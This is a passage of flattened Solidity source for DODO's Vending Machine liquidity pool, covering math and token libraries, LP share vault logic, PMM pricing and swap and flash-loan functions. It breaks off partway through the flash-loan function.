"libraries": {},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
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// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/FeeRateModel.sol
interface IFeeRateImpl {
function getFeeRate(address pool, address trader) external view returns (uint256);
}
interface IFeeRateModel {
function getFeeRate(address trader) external view returns (uint256);
}
contract FeeRateModel is InitializableOwnable {
address public feeRateImpl;
function setFeeProxy(address _feeRateImpl) public onlyOwner {
feeRateImpl = _feeRateImpl;
}
function getFeeRate(address trader) external view returns (uint256) {
if(feeRateImpl == address(0))
return 0;
return IFeeRateImpl(feeRateImpl).getFeeRate(msg.sender,trader);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/lib/DODOMath.sol
/**
* @title DODOMath
* @author DODO Breeder
*
* @notice Functions for complex calculating. Including ONE Integration and TWO Quadratic solutions
*/
library DODOMath {
using SafeMath for uint256;
/*
Integrate dodo curve from V1 to V2
require V0>=V1>=V2>0
res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1)
let V1-V2=delta
res = i*delta*(1-k+k(V0^2/V1/V2))
i is the price of V-res trading pair
support k=1 & k=0 case
[round down]
*/
function _GeneralIntegrate(
uint256 V0,
uint256 V1,
uint256 V2,
uint256 i,
uint256 k
) internal pure returns (uint256) {
require(V0 > 0, "TARGET_IS_ZERO");
uint256 fairAmount = i.mul(V1.sub(V2)); // i*delta
if (k == 0) {
return fairAmount.div(DecimalMath.ONE);
}
uint256 V0V0V1V2 = DecimalMath.divFloor(V0.mul(V0).div(V1), V2);
uint256 penalty = DecimalMath.mulFloor(k, V0V0V1V2); // k(V0^2/V1/V2)
return DecimalMath.ONE.sub(k).add(penalty).mul(fairAmount).div(DecimalMath.ONE2);
}
/*
Follow the integration function above
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Assume Q2=Q0, Given Q1 and deltaB, solve Q0
i is the price of delta-V trading pair
give out target of V
support k=1 & k=0 case
[round down]
*/
function _SolveQuadraticFunctionForTarget(
uint256 V1,
uint256 delta,
uint256 i,
uint256 k
) internal pure returns (uint256) {
if (V1 == 0) {
return 0;
}
if (k == 0) {
return V1.add(DecimalMath.mulFloor(i, delta));
}
// V0 = V1*(1+(sqrt-1)/2k)
// sqrt = √(1+4kidelta/V1)
// premium = 1+(sqrt-1)/2k
// uint256 sqrt = (4 * k).mul(i).mul(delta).div(V1).add(DecimalMath.ONE2).sqrt();
uint256 sqrt;
uint256 ki = (4 * k).mul(i);
if (ki == 0) {
sqrt = DecimalMath.ONE;
} else if ((ki * delta) / ki == delta) {
sqrt = (ki * delta).div(V1).add(DecimalMath.ONE2).sqrt();
} else {
sqrt = ki.div(V1).mul(delta).add(DecimalMath.ONE2).sqrt();
}
uint256 premium =
DecimalMath.divFloor(sqrt.sub(DecimalMath.ONE), k * 2).add(DecimalMath.ONE);
// V0 is greater than or equal to V1 according to the solution
return DecimalMath.mulFloor(V1, premium);
}
/*
Follow the integration expression above, we have:
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Given Q1 and deltaB, solve Q2
This is a quadratic function and the standard version is
aQ2^2 + bQ2 + c = 0, where
a=1-k
-b=(1-k)Q1-kQ0^2/Q1+i*deltaB
c=-kQ0^2
and Q2=(-b+sqrt(b^2+4(1-k)kQ0^2))/2(1-k)
note: another root is negative, abondan
if deltaBSig=true, then Q2>Q1, user sell Q and receive B
if deltaBSig=false, then Q2<Q1, user sell B and receive Q
return |Q1-Q2|
as we only support sell amount as delta, the deltaB is always negative
the input ideltaB is actually -ideltaB in the equation
i is the price of delta-V trading pair
support k=1 & k=0 case
[round down]
*/
function _SolveQuadraticFunctionForTrade(
uint256 V0,
uint256 V1,
uint256 delta,
uint256 i,
uint256 k
) internal pure returns (uint256) {
require(V0 > 0, "TARGET_IS_ZERO");
if (delta == 0) {
return 0;
}
if (k == 0) {
return DecimalMath.mulFloor(i, delta) > V1 ? V1 : DecimalMath.mulFloor(i, delta);
}
if (k == DecimalMath.ONE) {
// if k==1
// Q2=Q1/(1+ideltaBQ1/Q0/Q0)
// temp = ideltaBQ1/Q0/Q0
// Q2 = Q1/(1+temp)
// Q1-Q2 = Q1*(1-1/(1+temp)) = Q1*(temp/(1+temp))
// uint256 temp = i.mul(delta).mul(V1).div(V0.mul(V0));
uint256 temp;
uint256 idelta = i.mul(delta);
if (idelta == 0) {
temp = 0;
} else if ((idelta * V1) / idelta == V1) {
temp = (idelta * V1).div(V0.mul(V0));
} else {
temp = delta.mul(V1).div(V0).mul(i).div(V0);
}
return V1.mul(temp).div(temp.add(DecimalMath.ONE));
}
// calculate -b value and sig
// b = kQ0^2/Q1-i*deltaB-(1-k)Q1
// part1 = (1-k)Q1 >=0
// part2 = kQ0^2/Q1-i*deltaB >=0
// bAbs = abs(part1-part2)
// if part1>part2 => b is negative => bSig is false
// if part2>part1 => b is positive => bSig is true
uint256 part2 = k.mul(V0).div(V1).mul(V0).add(i.mul(delta)); // kQ0^2/Q1-i*deltaB
uint256 bAbs = DecimalMath.ONE.sub(k).mul(V1); // (1-k)Q1
bool bSig;
if (bAbs >= part2) {
bAbs = bAbs - part2;
bSig = false;
} else {
bAbs = part2 - bAbs;
bSig = true;
}
bAbs = bAbs.div(DecimalMath.ONE);
// calculate sqrt
uint256 squareRoot =
DecimalMath.mulFloor(
DecimalMath.ONE.sub(k).mul(4),
DecimalMath.mulFloor(k, V0).mul(V0)
); // 4(1-k)kQ0^2
squareRoot = bAbs.mul(bAbs).add(squareRoot).sqrt(); // sqrt(b*b+4(1-k)kQ0*Q0)
// final res
uint256 denominator = DecimalMath.ONE.sub(k).mul(2); // 2(1-k)
uint256 numerator;
if (bSig) {
numerator = squareRoot.sub(bAbs);
} else {
numerator = bAbs.add(squareRoot);
}
uint256 V2 = DecimalMath.divCeil(numerator, denominator);
if (V2 > V1) {
return 0;
} else {
return V1 - V2;
}
}
}
// File: contracts/lib/PMMPricing.sol
/**
* @title Pricing
* @author DODO Breeder
*
* @notice DODO Pricing model
*/
library PMMPricing {
using SafeMath for uint256;
enum RState {ONE, ABOVE_ONE, BELOW_ONE}
struct PMMState {
uint256 i;
uint256 K;
uint256 B;
uint256 Q;
uint256 B0;
uint256 Q0;
RState R;
}
// ============ buy & sell ============
function sellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (uint256 receiveQuoteAmount, RState newR)
{
if (state.R == RState.ONE) {
// case 1: R=1
// R falls below one
receiveQuoteAmount = _ROneSellBaseToken(state, payBaseAmount);
newR = RState.BELOW_ONE;
} else if (state.R == RState.ABOVE_ONE) {
uint256 backToOnePayBase = state.B0.sub(state.B);
uint256 backToOneReceiveQuote = state.Q.sub(state.Q0);
// case 2: R>1
// complex case, R status depends on trading amount
if (payBaseAmount < backToOnePayBase) {
// case 2.1: R status do not change
receiveQuoteAmount = _RAboveSellBaseToken(state, payBaseAmount);
newR = RState.ABOVE_ONE;
if (receiveQuoteAmount > backToOneReceiveQuote) {
// [Important corner case!] may enter this branch when some precision problem happens. And consequently contribute to negative spare quote amount
// to make sure spare quote>=0, mannually set receiveQuote=backToOneReceiveQuote
receiveQuoteAmount = backToOneReceiveQuote;
}
} else if (payBaseAmount == backToOnePayBase) {
// case 2.2: R status changes to ONE
receiveQuoteAmount = backToOneReceiveQuote;
newR = RState.ONE;
} else {
// case 2.3: R status changes to BELOW_ONE
receiveQuoteAmount = backToOneReceiveQuote.add(
_ROneSellBaseToken(state, payBaseAmount.sub(backToOnePayBase))
);
newR = RState.BELOW_ONE;
}
} else {
// state.R == RState.BELOW_ONE
// case 3: R<1
receiveQuoteAmount = _RBelowSellBaseToken(state, payBaseAmount);
newR = RState.BELOW_ONE;
}
}
function sellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (uint256 receiveBaseAmount, RState newR)
{
if (state.R == RState.ONE) {
receiveBaseAmount = _ROneSellQuoteToken(state, payQuoteAmount);
newR = RState.ABOVE_ONE;
} else if (state.R == RState.ABOVE_ONE) {
receiveBaseAmount = _RAboveSellQuoteToken(state, payQuoteAmount);
newR = RState.ABOVE_ONE;
} else {
uint256 backToOnePayQuote = state.Q0.sub(state.Q);
uint256 backToOneReceiveBase = state.B.sub(state.B0);
if (payQuoteAmount < backToOnePayQuote) {
receiveBaseAmount = _RBelowSellQuoteToken(state, payQuoteAmount);
newR = RState.BELOW_ONE;
if (receiveBaseAmount > backToOneReceiveBase) {
receiveBaseAmount = backToOneReceiveBase;
}
} else if (payQuoteAmount == backToOnePayQuote) {
receiveBaseAmount = backToOneReceiveBase;
newR = RState.ONE;
} else {
receiveBaseAmount = backToOneReceiveBase.add(
_ROneSellQuoteToken(state, payQuoteAmount.sub(backToOnePayQuote))
);
newR = RState.ABOVE_ONE;
}
}
}
// ============ R = 1 cases ============
function _ROneSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
// in theory Q2 <= targetQuoteTokenAmount
// however when amount is close to 0, precision problems may cause Q2 > targetQuoteTokenAmount
return
DODOMath._SolveQuadraticFunctionForTrade(
state.Q0,
state.Q0,
payBaseAmount,
state.i,
state.K
);
}
function _ROneSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.B0,
state.B0,
payQuoteAmount,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
// ============ R < 1 cases ============
function _RBelowSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._GeneralIntegrate(
state.Q0,
state.Q.add(payQuoteAmount),
state.Q,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
function _RBelowSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.Q0,
state.Q,
payBaseAmount,
state.i,
state.K
);
}
// ============ R > 1 cases ============
function _RAboveSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
return
DODOMath._GeneralIntegrate(
state.B0,
state.B.add(payBaseAmount),
state.B,
state.i,
state.K
);
}
function _RAboveSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.B0,
state.B,
payQuoteAmount,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
// ============ Helper functions ============
function adjustedTarget(PMMState memory state) internal pure {
if (state.R == RState.BELOW_ONE) {
state.Q0 = DODOMath._SolveQuadraticFunctionForTarget(
state.Q,
state.B.sub(state.B0),
state.i,
state.K
);
} else if (state.R == RState.ABOVE_ONE) {
state.B0 = DODOMath._SolveQuadraticFunctionForTarget(
state.B,
state.Q.sub(state.Q0),
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
}
function getMidPrice(PMMState memory state) internal pure returns (uint256) {
if (state.R == RState.BELOW_ONE) {
uint256 R = DecimalMath.divFloor(state.Q0.mul(state.Q0).div(state.Q), state.Q);
R = DecimalMath.ONE.sub(state.K).add(DecimalMath.mulFloor(state.K, R));
return DecimalMath.divFloor(state.i, R);
} else {
uint256 R = DecimalMath.divFloor(state.B0.mul(state.B0).div(state.B), state.B);
R = DecimalMath.ONE.sub(state.K).add(DecimalMath.mulFloor(state.K, R));
return DecimalMath.mulFloor(state.i, R);
}
}
}
// File: contracts/DODOVendingMachine/impl/DVMStorage.sol
contract DVMStorage is ReentrancyGuard {
using SafeMath for uint256;
bool public _IS_OPEN_TWAP_ = false;
bool internal _DVM_INITIALIZED_;
// ============ Core Address ============
address public _MAINTAINER_;
IERC20 public _BASE_TOKEN_;
IERC20 public _QUOTE_TOKEN_;
uint112 public _BASE_RESERVE_;
uint112 public _QUOTE_RESERVE_;
uint32 public _BLOCK_TIMESTAMP_LAST_;
uint256 public _BASE_PRICE_CUMULATIVE_LAST_;
// ============ Shares (ERC20) ============
string public symbol;
uint8 public decimals;
string public name;
uint256 public totalSupply;
mapping(address => uint256) internal _SHARES_;
mapping(address => mapping(address => uint256)) internal _ALLOWED_;
// ================= Permit ======================
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
// ============ Variables for Pricing ============
uint256 public _LP_FEE_RATE_;
IFeeRateModel public _MT_FEE_RATE_MODEL_;
uint256 public _K_;
uint256 public _I_;
// ============ Helper Functions ============
function getPMMState() public view returns (PMMPricing.PMMState memory state) {
state.i = _I_;
state.K = _K_;
state.B = _BASE_RESERVE_;
state.Q = _QUOTE_RESERVE_;
state.B0 = 0; // will be calculated in adjustedTarget
state.Q0 = 0;
state.R = PMMPricing.RState.ABOVE_ONE;
PMMPricing.adjustedTarget(state);
}
function getPMMStateForCall()
external
view
returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
)
{
PMMPricing.PMMState memory state = getPMMState();
i = state.i;
K = state.K;
B = state.B;
Q = state.Q;
B0 = state.B0;
Q0 = state.Q0;
R = uint256(state.R);
}
function getMidPrice() public view returns (uint256 midPrice) {
return PMMPricing.getMidPrice(getPMMState());
}
}
// File: contracts/DODOVendingMachine/impl/DVMVault.sol
contract DVMVault is DVMStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Events ============
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Mint(address indexed user, uint256 value);
event Burn(address indexed user, uint256 value);
// ============ View Functions ============
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve) {
baseReserve = _BASE_RESERVE_;
quoteReserve = _QUOTE_RESERVE_;
}
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate) {
lpFeeRate = _LP_FEE_RATE_;
mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(user);
}
// ============ Asset In ============
function getBaseInput() public view returns (uint256 input) {
return _BASE_TOKEN_.balanceOf(address(this)).sub(uint256(_BASE_RESERVE_));
}
function getQuoteInput() public view returns (uint256 input) {
return _QUOTE_TOKEN_.balanceOf(address(this)).sub(uint256(_QUOTE_RESERVE_));
}
// ============ TWAP UPDATE ===========
function _twapUpdate() internal {
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - _BLOCK_TIMESTAMP_LAST_;
if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {
_BASE_PRICE_CUMULATIVE_LAST_ += getMidPrice() * timeElapsed;
}
_BLOCK_TIMESTAMP_LAST_ = blockTimestamp;
}
// ============ Set States ============
function _setReserve(uint256 baseReserve, uint256 quoteReserve) internal {
require(baseReserve <= uint112(-1) && quoteReserve <= uint112(-1), "OVERFLOW");
_BASE_RESERVE_ = uint112(baseReserve);
_QUOTE_RESERVE_ = uint112(quoteReserve);
if(_IS_OPEN_TWAP_) _twapUpdate();
}
function _sync() internal {
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
require(baseBalance <= uint112(-1) && quoteBalance <= uint112(-1), "OVERFLOW");
if (baseBalance != _BASE_RESERVE_) {
_BASE_RESERVE_ = uint112(baseBalance);
}
if (quoteBalance != _QUOTE_RESERVE_) {
_QUOTE_RESERVE_ = uint112(quoteBalance);
}
if(_IS_OPEN_TWAP_) _twapUpdate();
}
function sync() external preventReentrant {
_sync();
}
// ============ Asset Out ============
function _transferBaseOut(address to, uint256 amount) internal {
if (amount > 0) {
_BASE_TOKEN_.safeTransfer(to, amount);
}
}
function _transferQuoteOut(address to, uint256 amount) internal {
if (amount > 0) {
_QUOTE_TOKEN_.safeTransfer(to, amount);
}
}
// ============ Shares (ERC20) ============
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param amount The amount to be transferred.
*/
function transfer(address to, uint256 amount) public returns (bool) {
require(amount <= _SHARES_[msg.sender], "BALANCE_NOT_ENOUGH");
_SHARES_[msg.sender] = _SHARES_[msg.sender].sub(amount);
_SHARES_[to] = _SHARES_[to].add(amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return balance An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) external view returns (uint256 balance) {
return _SHARES_[owner];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param amount uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
require(amount <= _SHARES_[from], "BALANCE_NOT_ENOUGH");
require(amount <= _ALLOWED_[from][msg.sender], "ALLOWANCE_NOT_ENOUGH");
_SHARES_[from] = _SHARES_[from].sub(amount);
_SHARES_[to] = _SHARES_[to].add(amount);
_ALLOWED_[from][msg.sender] = _ALLOWED_[from][msg.sender].sub(amount);
emit Transfer(from, to, amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param amount The amount of tokens to be spent.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
_ALLOWED_[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Function to check the amount of tokens that an owner _ALLOWED_ to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _ALLOWED_[owner][spender];
}
function _mint(address user, uint256 value) internal {
require(value > 1000, "MINT_INVALID");
_SHARES_[user] = _SHARES_[user].add(value);
totalSupply = totalSupply.add(value);
emit Mint(user, value);
emit Transfer(address(0), user, value);
}
function _burn(address user, uint256 value) internal {
_SHARES_[user] = _SHARES_[user].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(user, value);
emit Transfer(user, address(0), value);
}
// ============================ Permit ======================================
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "DODO_DVM_LP: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"DODO_DVM_LP: INVALID_SIGNATURE"
);
_approve(owner, spender, value);
}
}
// File: contracts/intf/IDODOCallee.sol
interface IDODOCallee {
function DVMSellShareCall(
address sender,
uint256 burnShareAmount,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function DVMFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function CPCancelCall(
address sender,
uint256 amount,
bytes calldata data
) external;
function CPClaimBidCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
}
// File: contracts/DODOVendingMachine/impl/DVMTrader.sol
contract DVMTrader is DVMVault {
using SafeMath for uint256;
// ============ Events ============
event DODOSwap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
address trader,
address receiver
);
event DODOFlashLoan(
address borrower,
address assetTo,
uint256 baseAmount,
uint256 quoteAmount
);
// ============ Trade Functions ============
function sellBase(address to)
external
preventReentrant
returns (uint256 receiveQuoteAmount)
{
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
uint256 mtFee;
(receiveQuoteAmount, mtFee) = querySellBase(tx.origin, baseInput);
_transferQuoteOut(to, receiveQuoteAmount);
_transferQuoteOut(_MAINTAINER_, mtFee);
_setReserve(baseBalance, _QUOTE_TOKEN_.balanceOf(address(this)));
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
to
);
}
function sellQuote(address to)
external
preventReentrant
returns (uint256 receiveBaseAmount)
{
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
uint256 mtFee;
(receiveBaseAmount, mtFee) = querySellQuote(tx.origin, quoteInput);
_transferBaseOut(to, receiveBaseAmount);
_transferBaseOut(_MAINTAINER_, mtFee);
_setReserve(_BASE_TOKEN_.balanceOf(address(this)), quoteBalance);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
to
);
}
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external preventReentrant {
_transferBaseOut(assetTo, baseAmount);
_transferQuoteOut(assetTo, quoteAmount);
if (data.length > 0)
IDODOCallee(assetTo).DVMFlashLoanCall(msg.sender, baseAmount, quoteAmount, data);
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
// no input -> pure loss
require(
baseBalance >= _BASE_RESERVE_ || quoteBalance >= _QUOTE_RESERVE_,
"FLASH_LOAN_FAILED"
);
// sell quote
if (baseBalance < _BASE_RESERVE_) {
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
(uint256 receiveBaseAmount, uint256 mtFee) = querySellQuote(tx.origin, quoteInput);
require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED");
_transferBaseOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
assetTo
);
}
// sell base
if (quoteBalance < _QUOTE_RESERVE_) {
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
(uint256 receiveQuoteAmount, uint256 mtFee) = querySellBase(tx.origin, baseInput);
require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED");
